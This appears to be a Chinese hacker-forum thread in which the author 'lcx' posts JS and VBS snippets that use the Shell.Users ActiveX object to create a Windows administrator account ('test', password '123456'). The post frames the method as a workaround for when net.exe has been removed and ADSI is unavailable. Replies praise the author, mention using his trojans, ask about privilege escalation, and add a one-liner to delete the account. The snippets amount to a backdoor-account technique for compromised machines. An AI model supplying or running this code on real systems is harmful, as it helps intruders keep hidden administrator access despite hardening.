命令行下一种新的加帐号的方法
作者:lcx
今天研究了一下用户控制面板文件nusrmgr.cpl,发现调用的是Shell.Users来加用户,它还同时调用了 wscript.shell、Shell.Application、Shell.LocalMachine这三个组件。不过加用户的话,这一个 Shell.Users就足够了。那么可能在删掉了net.exe和不用adsi之外,这也可能是一种新的加用户的方法。代码如下:
js:
var o=new ActiveXObject( "Shell.Users" );
z=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
vbs:
Set o=CreateObject( "Shell.Users" )
Set z=o.create("test")
z.changePassword "123456",""
z.setting("AccountType")=3
这个测试成功了吗?
当然。我测试了xp和2003
lcx老大亲自来了,感动哇。
lcx老大,看到这个id我就忍不住想膜拜!
我这辈子用过别人的小马,最多的就是lcx老大的,03年就一直陷于这个ID的阴影下,O(∩_∩)O哈哈~
哇哈哈~强
很容易测试测试啊,xpsp3莫问题
第一次对lcx膜拜,很强大
OK“` 测试成功·yohoo
很好很强大
MJ,你罢乖了。。。
牛人~~要就不出现,一出现雷倒众生啊~~
LCX老大显身,占位,留贴,闪人!
lcx现身
只能对Lcx大牛的膜拜.
很强大~!
呵呵呵呵呵
提权了?
太 OK 了。
再补充一个.删除用户的
(new ActiveXObject(‘Shell.Users’)).remove(‘test’);
删除 test 用户
其他的使用方法,可以用 PE Explorer (或者Exescope) 查看
%SYSTEMROOT%\system32\shgina.dll
这个DLL文件的的 TYPELIB 就可以了.
Guest账号没权限添加